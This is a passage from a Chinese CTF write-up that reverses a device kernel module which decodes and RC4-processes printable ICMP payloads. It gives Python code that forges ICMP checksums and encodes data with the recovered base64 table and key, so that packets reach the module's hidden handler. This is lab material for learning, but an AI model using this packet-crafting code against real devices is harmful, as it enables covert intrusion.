+ <span style="color: rgb(209, 154, 102);">0xA0</span>);<br/>  <span style="color: rgb(198, 120, 221);">if</span> ( *(_BYTE *)(head + *(<span style="color: rgb(209, 154, 102);">unsigned</span> __int16 *)(a2 + <span style="color: rgb(209, 154, 102);">0x94</span>) + <span style="color: rgb(209, 154, 102);">9</span>) == <span style="color: rgb(209, 154, 102);">1</span> )<span style="color: rgb(92, 99, 112);font-style: italic;">// head + *(unsigned __int16 *)(a2 + 0x94) == ip_header; +9 means protocol</span><br/>  {<br/>    icmp_data = (<span style="color: rgb(209, 154, 102);">char</span> *)(head + *(<span style="color: rgb(209, 154, 102);">unsigned</span> __int16 *)(a2 + <span style="color: rgb(209, 154, 102);">0x92</span>) + <span style="color: rgb(209, 154, 102);">8</span>);<span style="color: rgb(92, 99, 112);font-style: italic;">// head + *(unsigned __int16 *)(a2 + 0x92) == transport_header; + 8 means icmp`s data area</span><br/>    v5 = &amp;icmp_data[<span style="color: rgb(230, 192, 123);">strlen</span>(icmp_data)];<br/>    v6 = icmp_data;<br/>    v7 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>    <span style="color: rgb(198, 120, 221);">while</span> ( v5 != v6 )<br/>    {<br/>      v8 = *v6++;<br/>      <span style="color: rgb(198, 120, 221);">if</span> ( (<span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">int</span>)(v8 - <span style="color: rgb(209, 154, 102);">0x20</span>) &gt;= <span style="color: rgb(209, 154, 102);">95</span> )    <span style="color: rgb(92, 99, 112);font-style: italic;">// unprintable char</span><br/>        v7 = <span style="color: rgb(209, 154, 102);">-1</span>;<br/>    }<br/>    <span style="color: rgb(198, 120, 221);">if</span> ( !v7 )<br/>      <span style="color: rgb(209, 154, 102);">7</span>(icmp_data);<br/>    result = <span style="color: rgb(209, 154, 102);">1</span>; <br/>  }<br/>  <span style="color: rgb(198, 120, 221);">return</span> result;<br/>}</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  会处理ICMP报文的数据部分，如果全部都是可见字符进入<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">7(icmp_data)</code>，需要注意的是函数始终返回1(NF_ACCEPT)也就是说其他ICMP报文正常走完协议栈：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(209, 154, 102);">int</span> __fastcall <span style="color: rgb(209, 154, 102);">7</span>(<span style="color: rgb(209, 154, 102);">char</span> *a1)<br/>{<br/>  <span style="color: rgb(209, 154, 102);">char</span> *in; <span style="color: rgb(92, 99, 112);font-style: italic;">// $s1</span><br/>  <span style="color: rgb(209, 154, 102);">int</span> v3; <span style="color: rgb(92, 99, 112);font-style: italic;">// $v0</span><br/>  _BYTE *out; <span style="color: rgb(92, 99, 112);font-style: italic;">// $s5</span><br/>  <span style="color: rgb(209, 154, 102);">int</span> v6; <span style="color: rgb(92, 99, 112);font-style: italic;">// $v0</span><br/>  <span style="color: rgb(209, 154, 102);">unsigned</span> __int8 *v7; <span style="color: rgb(92, 99, 112);font-style: italic;">// $s2</span><br/>  <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">int</span> i; <span style="color: rgb(92, 99, 112);font-style: italic;">// $s0</span><br/>  <span style="color: rgb(209, 154, 102);">int</span> v9; <span style="color: rgb(92, 99, 112);font-style: italic;">// $v0</span><br/>  <span style="color: rgb(209, 154, 102);">char</span> key[<span style="color: rgb(209, 154, 102);">12</span>]; <span style="color: rgb(92, 99, 112);font-style: italic;">// [sp+10h] [-10h] BYREF</span><br/>  in = (<span style="color: rgb(209, 154, 102);">char</span> *)kmem_cache_alloc(kmalloc_caches[<span style="color: rgb(209, 154, 102);">10</span>], <span style="color: rgb(209, 154, 102);">0xCC0</span>);<br/>  <span style="color: rgb(230, 192, 123);">strcpy</span>(key, <span style="color: rgb(152, 195, 121);">&#34;X1Hu-2O23&#34;</span>);<br/>  <span style="color: rgb(198, 120, 221);">if</span> ( in )<br/>  {<br/>    v3 = <span style="color: rgb(230, 192, 123);">strlen</span>(a1);<br/>    <span style="color: rgb(230, 192, 123);">memset</span>(in, <span style="color: rgb(209, 154, 102);">0</span>, v3 + <span style="color: rgb(209, 154, 102);">1</span>);<br/>    base64Decode(a1, in);<br/>    <span style="color: rgb(198, 120, 221);">if</span> ( <span style="color: rgb(230, 192, 123);">strlen</span>(in) )<br/>    {<br/>      out = (_BYTE *)kmem_cache_alloc(kmalloc_caches[<span style="color: rgb(209, 154, 102);">10</span>], <span style="color: rgb(209, 154, 102);">3264</span>);<br/>      <span style="color: rgb(198, 120, 221);">if</span> ( out )<br/>      {<br/>        v7 = (<span style="color: rgb(209, 154, 102);">unsigned</span> __int8 *)kmem_cache_alloc(kmalloc_caches[<span style="color: rgb(209, 154, 102);">10</span>], <span style="color: rgb(209, 154, 102);">3264</span>);<br/>        v6 = <span style="color: rgb(230, 192, 123);">strlen</span>(in);<br/>        <span style="color: rgb(209, 154, 102);">8</span>(in, v6, (<span style="color: rgb(209, 154, 102);">int</span>)key, <span style="color: rgb(209, 154, 102);">9</span>);<br/>        <span style="color: rgb(198, 120, 221);">for</span> ( i = <span style="color: rgb(209, 154, 102);">0</span>; i &lt; <span style="color: rgb(230, 192, 123);">strlen</span>(in); ++i )<br/>          <span style="color: rgb(230, 192, 123);">sprintf</span>(&amp;v7[i], <span style="color: rgb(152, 195, 121);">&#34;%c&#34;</span>, in[i]);<br/>        v9 = <span style="color: rgb(230, 192, 123);">strlen</span>(v7);<br/>        Base64Encode(v7, out, v9);<br/>        <span style="color: rgb(230, 192, 123);">strcpy</span>(a1, out);<br/>        kfree(in);<br/>        kfree(out);<br/>        kfree(v7);<br/>      }<br/>    }<br/>  }<br/>  <span style="color: rgb(198, 120, 221);">return</span> _stack_chk_guard;<br/>}</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  base64Decode，Base64Encode和main程序的base64_decode都是使用的同一个异变Table，函数8是rc4加密(对称加密)，秘钥为X1Hu-2O23(rc4这个不是很懂)。<strong style="line-height: 1.75;color: rgb(255, 118, 118);">总的来说这个内核模块会对8字节后全是可见字符data的ICMP报文进行base64解密，rc4，base64加密</strong>。结合main程序又进行一次base64解密，需要将@targetMac和@localRSApub放入ICMP报文，以X1Hu-2O23为key进行rc4加密，然后base64加密 后发送给目标主机。</p><h3 style="letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">坑</h3><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  在main程序中绕过前面的checksum和icmp_id检查我觉得存在逻辑问题。首先获取icmp报文中的checksum然后会和icmp_data部分的xorsum进行比较(getXor)，<strong style="line-height: 1.75;color: rgb(255, 118, 118);">那么icmp报文中的checksum字段是一定要构造的而且不能代表整个报文真实的checksum</strong>(header+data)：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">Checksum<br/>      The checksum is the 16-bit ones&#39;s complement of the one&#39;s<br/>      complement sum of the ICMP message starting with the ICMP Type.<br/>      For computing the checksum , the checksum field should be zero.<br/>      This checksum may be replaced in the future.<br/>        ----From rfc792</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  官方WP上是用和程序中计算data数据getXor函数一样的算法计算出来一个值，并且放入icmp_header中的checksum字段：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">calc_sum</span>(data):<br/>    <span style="color: rgb(230, 192, 123);">sum</span> = <span style="color: rgb(209, 154, 102);">0</span><br/>    <span style="color: rgb(198, 120, 221);">for</span> ch <span style="color: rgb(198, 120, 221);">in</span> <span style="color: rgb(230, 192, 123);">range</span>(<span style="color: rgb(230, 192, 123);">len</span>(data)):<br/>        <span style="color: rgb(230, 192, 123);">sum</span>^=<span style="color: rgb(230, 192, 123);">ord</span>(data[ch])<br/>...<br/>checksum = calc_sum(data)<br/>docmd = <span style="color: rgb(152, 195, 121);">&#34;python2.7 sendPacket.py %s %s %s&#34;</span>%(ip_addr,<span style="color: rgb(230, 192, 123);">str</span>(checksum),encrypt_data)<br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">icmp_send</span>(dest_addr,pkt_checksum,payload):<br/>    icmp = socket.getprotobyname(<span style="color: rgb(152, 195, 121);">&#34;icmp&#34;</span>)<br/>    <span style="color: rgb(198, 120, 221);">try</span>:<br/>        my_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, icmp)<br/>    <span style="color: rgb(198, 120, 221);">except</span> socket.error, (errno, msg):<br/>        <span style="color: rgb(198, 120, 221);">if</span> errno == <span style="color: rgb(209, 154, 102);">1</span>:<br/>            msg = msg + <span style="color: rgb(152, 195, 121);">&#34;This program must be run with root privileges.&#34;</span><br/>            <span style="color: rgb(198, 120, 221);">raise</span> socket.error(msg)<br/>        <span style="color: rgb(198, 120, 221);">raise</span><br/>    pkt_id = <span style="color: rgb(209, 154, 102);">0xDEAD</span><br/>    dest_addr  =  socket.gethostbyname(dest_addr)<br/>    pkt_checksum = <span style="color: rgb(230, 192, 123);">int</span>(pkt_checksum)<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;"># Make a dummy heder with a fake checksum.</span><br/>    header = struct.pack(<span style="color: rgb(152, 195, 121);">&#34;bbHHh&#34;</span>, ICMP_ECHO_REQUEST, <span style="color: rgb(209, 154, 102);">0</span>, pkt_checksum, pkt_id, <span style="color: rgb(209, 154, 102);">1</span>)</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  我觉得这样会导致发送出去的数据包直接被对方协议栈过滤(猜的，没看过协议栈相关源码)，进入设备shell手动启main程序并且使用官方脚本发现设备毫无反应：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3416666666666667" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=988a89a6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhicbsBhuyiaB2yEQ8PN7ibqOulIaEsEUgj7DxyISYy6ZYvfKjaDxCyTjiaA%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  这个情况还好说，因为icmp_header的sequence字段可控且main和内核模块不检查，那么可以构造该字段实现<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"> 0 &lt;= getXor(icmp_data) == checksum(icmp) &lt;= 0x80</code>。那么构造icmp为：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(198, 120, 221);">import</span> socket, struct, array<br/><span style="color: rgb(198, 120, 221);">import</span> string, base64<br/><span style="color: rgb(198, 120, 221);">from</span> Crypto.Cipher <span style="color: rgb(198, 120, 221);">import</span> ARC4<br/>BASETABLE = <span style="color: rgb(152, 195, 121);">&#39;Gw6Y/H7PxrieDoRSE58h0fcp1jtlbdON9zKVA2g3+aTCy4XmIBuZUsWJnkMqFLQv&#39;</span><br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">base64Encode</span>(b_in: <span style="color: rgb(230, 192, 123);">bytes</span>) -&gt; <span style="color: rgb(230, 192, 123);">bytes</span>:<br/>    retStr = <span style="color: rgb(152, 195, 121);">&#39;&#39;</span><br/>    count = <span style="color: rgb(209, 154, 102);">0</span><br/>    <span style="color: rgb(198, 120, 221);">for</span> i <span style="color: rgb(198, 120, 221);">in</span> <span style="color: rgb(230, 192, 123);">range</span>(<span style="color: rgb(209, 154, 102);">0</span>, <span style="color: rgb(230, 192, 123);">len</span>(b_in), <span style="color: rgb(209, 154, 102);">3</span>):<br/>        <span style="color: rgb(198, 120, 221);">if</span> count+<span style="color: rgb(209, 154, 102);">3</span> &lt;= <span style="color: rgb(230, 192, 123);">len</span>(b_in):<br/>            tmp = ((b_in[i]) &lt;&lt; <span style="color: rgb(209, 154, 102);">8</span>*<span style="color: rgb(209, 154, 102);">2</span>) | ((b_in[i+<span style="color: rgb(209, 154, 102);">1</span>]) &lt;&lt; <span style="color: rgb(209, 154, 102);">8</span>) | (b_in[i+<span style="color: rgb(209, 154, 102);">2</span>]) <span style="color: rgb(92, 99, 112);font-style: italic;">#13896738</span><br/>            idx0 = tmp &gt;&gt; <span style="color: rgb(209, 154, 102);">18</span>    <span style="color: rgb(92, 99, 112);font-style: italic;">#53</span><br/>            idx1 = (tmp &gt;&gt; <span style="color: rgb(209, 154, 102);">12</span>) &amp; <span style="color: rgb(209, 154, 102);">0b0111111</span>  <span style="color: rgb(92, 99, 112);font-style: italic;">#0</span><br/>            idx2 = (tmp &gt;&gt; <span style="color: rgb(209, 154, 102);">6</span>) &amp; <span style="color: rgb(209, 154, 102);">0b0111111</span>   <span style="color: rgb(92, 99, 112);font-style: italic;">#48</span><br/>            idx3 = tmp &amp; <span style="color: rgb(209, 154, 102);">0b0111111</span>          <span style="color: rgb(92, 99, 112);font-style: italic;">#34</span><br/>            <br/>            retStr += BASETABLE[idx0]<br/>            retStr += BASETABLE[idx1]<br/>            retStr += BASETABLE[idx2]<br/>            retStr += BASETABLE[idx3]<br/>            count += <span style="color: rgb(209, 154, 102);">3</span><br/>    <br/>    <span style="color: rgb(198, 120, 221);">if</span> count != <span style="color: rgb(230, 192, 123);">len</span>(b_in):<br/>        left = <span style="color: rgb(230, 192, 123);">len</span>(b_in) - count<br/>        tmp = <span style="color: rgb(209, 154, 102);">0</span><br/>        <span style="color: rgb(198, 120, 221);">if</span> left == <span style="color: rgb(209, 154, 102);">1</span>:<br/>            tmp = (b_in[count]) &lt;&lt; <span style="color: rgb(209, 154, 102);">16</span><br/>        <span style="color: rgb(198, 120, 221);">else</span> :<br/>            tmp = (b_in[count]) &lt;&lt; <span style="color: rgb(209, 154, 102);">16</span> | ((b_in[count + <span style="color: rgb(209, 154, 102);">1</span>]) &lt;&lt; <span style="color: rgb(209, 154, 102);">8</span>)<br/>        <br/>        idx0 = tmp &gt;&gt; <span style="color: rgb(209, 154, 102);">18</span><br/>        idx1 = (tmp &gt;&gt; <span style="color: rgb(209, 154, 102);">12</span>) &amp; <span style="color: rgb(209, 154, 102);">0b0111111</span><br/>        idx2 = (tmp &gt;&gt; <span style="color: rgb(209, 154, 102);">6</span>) &amp; <span style="color: rgb(209, 154, 102);">0b0111111</span><br/>        idx3 = tmp &amp; <span style="color: rgb(209, 154, 102);">0b0111111</span><br/>        <br/>        retStr += BASETABLE[idx0]<br/>        retStr += BASETABLE[idx1]<br/>        <span style="color: rgb(198, 120, 221);">if</span> idx2 != <span style="color: rgb(209, 154, 102);">0</span>:<br/>            retStr += BASETABLE[idx2]<br/>        <span style="color: rgb(198, 120, 221);">else</span>:<br/>            retStr += <span style="color: rgb(152, 195, 121);">&#39;=&#39;</span><br/>        <span style="color: rgb(198, 120, 221);">if</span> idx3 != <span style="color: rgb(209, 154, 102);">0</span>:<br/>            retStr += BASETABLE[idx3]<br/>        <span style="color: rgb(198, 120, 221);">else</span>:<br/>            retStr += <span style="color: rgb(152, 195, 121);">&#39;=&#39;</span><br/>    <br/>    <span style="color: rgb(198, 120, 221);">return</span> retStr.encode()<br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">base64Decode</span>(b_in) -&gt; <span style="color: rgb(230, 192, 123);">bytes</span>:<br/>    <span style="color: rgb(198, 120, 221);">if</span> <span style="color: rgb(230, 192, 123);">isinstance</span>(b_in, <span style="color: rgb(230, 192, 123);">bytes</span>):<br/>        b_in = b_in.decode()<br/>    retStr = <span style="color: rgb(152, 195, 121);">b&#39;&#39;</span><br/>    <br/>    b_in = b_in.rstrip(<span style="color: rgb(152, 195, 121);">&#39;=&#39;</span>)<br/>    left = <span style="color: rgb(230, 192, 123);">len</span>(b_in) % <span style="color: rgb(209, 154, 102);">4</span><br/>    <span style="color: rgb(92, 99, 112);font-style: italic;"># for i in range(0, len(b_in), 4):</span><br/>    <span style="color: rgb(198, 120, 221);">for</span> i <span style="color: rgb(198, 120, 221);">in</span> <span style="color: rgb(230, 192, 123);">range</span>(<span style="color: rgb(230, 192, 123);">len</span>(b_in) // <span style="color: rgb(209, 154, 102);">4</span>):<br/>        tmp = BASETABLE.index((b_in[i*<span style="color: rgb(209, 154, 102);">4</span>])) &lt;&lt; <span style="color: rgb(209, 154, 102);">6</span>*<span style="color: rgb(209, 154, 102);">3</span> | BASETABLE.index((b_in[i*<span style="color: rgb(209, 154, 102);">4</span>+<span style="color: rgb(209, 154, 102);">1</span>])) &lt;&lt; <span style="color: rgb(209, 154, 102);">6</span>*<span style="color: rgb(209, 154, 102);">2</span> | BASETABLE.index((b_in[i*<span style="color: rgb(209, 154, 102);">4</span>+<span style="color: rgb(209, 154, 102);">2</span>])) &lt;&lt; <span style="color: rgb(209, 154, 102);">6</span> | BASETABLE.index(b_in[i*<span style="color: rgb(209, 154, 102);">4</span>+<span style="color: rgb(209, 154, 102);">3</span>])  <span style="color: rgb(92, 99, 112);font-style: italic;">#13896738</span><br/>        idx0 = tmp &gt;&gt; <span style="color: rgb(209, 154, 102);">8</span>*<span style="color: rgb(209, 154, 102);">2</span>   <span style="color: rgb(92, 99, 112);font-style: italic;">#212</span><br/>        idx1 = (tmp &gt;&gt; <span style="color: rgb(209, 154, 102);">8</span>) &amp; <span style="color: rgb(209, 154, 102);">0b011111111</span> <span style="color: rgb(92, 99, 112);font-style: italic;">#12</span><br/>        idx2 = tmp &amp; <span style="color: rgb(209, 154, 102);">0b011111111</span>        <span style="color: rgb(92, 99, 112);font-style: italic;">#34</span><br/>        <br/>        retStr += struct.pack(<span style="color: rgb(152, 195, 121);">b&#39;&lt;BBB&#39;</span>, idx0, idx1, idx2)<br/>    tmp = <span style="color: rgb(209, 154, 102);">0</span><br/>    <span style="color: rgb(198, 120, 221);">if</span> left == <span style="color: rgb(209, 154, 102);">3</span>:<br/>        tmp = BASETABLE.index((b_in[-<span style="color: rgb(209, 154, 102);">3</span>])) &lt;&lt; <span style="color: rgb(209, 154, 102);">6</span>*<span style="color: rgb(209, 154, 102);">3</span> | BASETABLE.index((b_in[-<span style="color: rgb(209, 154, 102);">2</span>])) &lt;&lt; <span style="color: rgb(209, 154, 102);">6</span>*<span style="color: rgb(209, 154, 102);">2</span> | BASETABLE.index((b_in[-<span style="color: rgb(209, 154, 102);">1</span>])) &lt;&lt; <span style="color: rgb(209, 154, 102);">6</span>*<span style="color: rgb(209, 154, 102);">1</span><br/>    <span style="color: rgb(198, 120, 221);">elif</span> left == <span style="color: rgb(209, 154, 102);">2</span>:<br/>        tmp = BASETABLE.index((b_in[-<span style="color: rgb(209, 154, 102);">2</span>])) &lt;&lt; <span style="color: rgb(209, 154, 102);">6</span>*<span style="color: rgb(209, 154, 102);">3</span> | BASETABLE.index((b_in[-<span style="color: rgb(209, 154, 102);">1</span>])) &lt;&lt; <span style="color: rgb(209, 154, 102);">6</span>*<span style="color: rgb(209, 154, 102);">2</span><br/>    <span style="color: rgb(198, 120, 221);">elif</span> left == <span style="color: rgb(209, 154, 102);">1</span>:<br/>        tmp = BASETABLE.index((b_in[-<span style="color: rgb(209, 154, 102);">1</span>])) &lt;&lt; <span style="color: rgb(209, 154, 102);">6</span>*<span style="color: rgb(209, 154, 102);">3</span><br/>    <br/>    idx0 = tmp &gt;&gt; <span style="color: rgb(209, 154, 102);">8</span>*<span style="color: rgb(209, 154, 102);">2</span><br/>    idx1 = (tmp &gt;&gt; <span style="color: rgb(209, 154, 102);">8</span>) &amp; <span style="color: rgb(209, 154, 102);">0b011111111</span><br/>    idx2 = tmp &amp; <span style="color: rgb(209, 154, 102);">0b011111111</span><br/>    retStr += struct.pack(<span style="color: rgb(152, 195, 121);">b&#39;&lt;BBB&#39;</span>, idx0, idx1, idx2)<br/>    retStr = retStr.rstrip(<span style="color: rgb(152, 195, 121);">b&#39;\x00&#39;</span>)<br/>    <span style="color: rgb(198, 120, 221);">return</span> retStr<br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">packData</span>(d_in:<span style="color: rgb(230, 192, 123);">bytes</span>, key:<span style="color: rgb(230, 192, 123);">bytes</span> = <span style="color: rgb(152, 195, 121);">b&#39;X1Hu-2O23&#39;</span>):<br/>    arc4 = ARC4.new(key)<br/>    t = arc4.encrypt(d_in)<br/>    retData = base64Encode(t)<br/>    <span style="color: rgb(198, 120, 221);">return</span> retData<br/>    <br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">unpackData</span>(d_in:<span style="color: rgb(230, 192, 123);">bytes</span>, key:<span style="color: rgb(230, 192, 123);">bytes</span> = <span style="color: rgb(152, 195, 121);">b&#39;X1Hu-2O23&#39;</span>):<br/>    retData = base64Decode(d_in)<br/>    arc4 = ARC4.new(key)<br/>    <span style="color: rgb(198, 120, 221);">return</span> arc4.decrypt(retData)<br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">chesksum</span>(data):<br/>    n = <span style="color: rgb(230, 192, 123);">len</span>(data)<br/>    m = n % <span style="color: rgb(209, 154, 102);">2</span><br/>    <span style="color: rgb(230, 192, 123);">sum</span> = <span style="color: rgb(209, 154, 102);">0</span><br/>    <span style="color: rgb(198, 120, 221);">for</span> i <span style="color: rgb(198, 120, 221);">in</span> <span style="color: rgb(230, 192, 123);">range</span>(<span style="color: rgb(209, 154, 102);">0</span>, n - m, <span style="color: rgb(209, 154, 102);">2</span>):<br/>        <span style="color: rgb(230, 192, 123);">sum</span> += (data[i]) + ((data[i + <span style="color: rgb(209, 154, 102);">1</span>]) &lt;&lt; <span style="color: rgb(209, 154, 102);">8</span>)<br/>        <span style="color: rgb(230, 192, 123);">sum</span> = (<span style="color: rgb(230, 192, 123);">sum</span> &gt;&gt; <span style="color: rgb(209, 154, 102);">16</span>) + (<span style="color: rgb(230, 192, 123);">sum</span> &amp; <span style="color: rgb(209, 154, 102);">0xffff</span>)<br/>    <span style="color: rgb(198, 120, 221);">if</span> m:<br/>        <span style="color: rgb(230, 192, 123);">sum</span> += (data[-<span style="color: rgb(209, 154, 102);">1</span>])<br/>        <span style="color: rgb(230, 192, 123);">sum</span> = (<span style="color: rgb(230, 192, 123);">sum</span> &gt;&gt; <span style="color: rgb(209, 154, 102);">16</span>) + (<span style="color: rgb(230, 192, 123);">sum</span> &amp; <span style="color: rgb(209, 154, 102);">0xffff</span>)<br/>    answer = ~<span style="color: rgb(230, 192, 123);">sum</span> &amp; <span style="color: rgb(209, 154, 102);">0xffff</span><br/>    answer = answer &gt;&gt; <span style="color: rgb(209, 154, 102);">8</span> | (answer &lt;&lt; <span style="color: rgb(209, 154, 102);">8</span> &amp; <span style="color: rgb(209, 154, 102);">0xff00</span>)<br/>    <span style="color: rgb(198, 120, 221);">return</span> answer<br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">xorChecksum</span>(data: <span style="color: rgb(230, 192, 123);">bytes</span>) -&gt; <span style="color: rgb(230, 192, 123);">int</span>:<br/>    ret = <span style="color: rgb(209, 154, 102);">0</span><br/>    <span style="color: rgb(198, 120, 221);">for</span> i <span style="color: rgb(198, 120, 221);">in</span> data:<br/>        ret ^= i<br/>    <span style="color: rgb(198, 120, 221);">return</span> ret<br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">find_sum</span>(data):<br/>    data_Xorsum = xorChecksum(data)<br/>    data = packData(data, <span style="color: rgb(152, 195, 121);">b&#39;X1Hu-2O23&#39;</span>)<br/>    data_Xorsum = ((data_Xorsum &amp; <span style="color: rgb(209, 154, 102);">0xff</span>) &lt;&lt; <span style="color: rgb(209, 154, 102);">8</span>) | (data_Xorsum &gt;&gt; <span style="color: rgb(209, 154, 102);">8</span>)<br/>    <span style="color: rgb(198, 120, 221);">for</span> i <span style="color: rgb(198, 120, 221);">in</span> <span style="color: rgb(230, 192, 123);">range</span>(<span style="color: rgb(209, 154, 102);">256</span>):<br/>        <span style="color: rgb(198, 120, 221);">for</span> j <span style="color: rgb(198, 120, 221);">in</span> <span style="color: rgb(230, 192, 123);">range</span>(<span style="color: rgb(209, 154, 102);">256</span>):<br/>            icmp_data = <span style="color: rgb(152, 195, 121);">b&#39;\x08\x00\x00\x00\xad\xde&#39;</span> + i.to_bytes(<span style="color: rgb(209, 154, 102);">1</span>,<span style="color: rgb(152, 195, 121);">&#39;big&#39;</span>) + j.to_bytes(<span style="color: rgb(209, 154, 102);">1</span>,<span style="color: rgb(152, 195, 121);">&#39;big&#39;</span>) + data<br/>            tmp_sum = chesksum(icmp_data)<br/>            <br/>            <span style="color: rgb(198, 120, 221);">if</span> data_Xorsum == tmp_sum:<br/>                <span style="color: rgb(230, 192, 123);">print</span>(<span style="color: rgb(230, 192, 123);">hex</span>(i),<span style="color: rgb(230, 192, 123);">hex</span>(j),<span style="color: rgb(230, 192, 123);">hex</span>(data_Xorsum))<br/>                <span 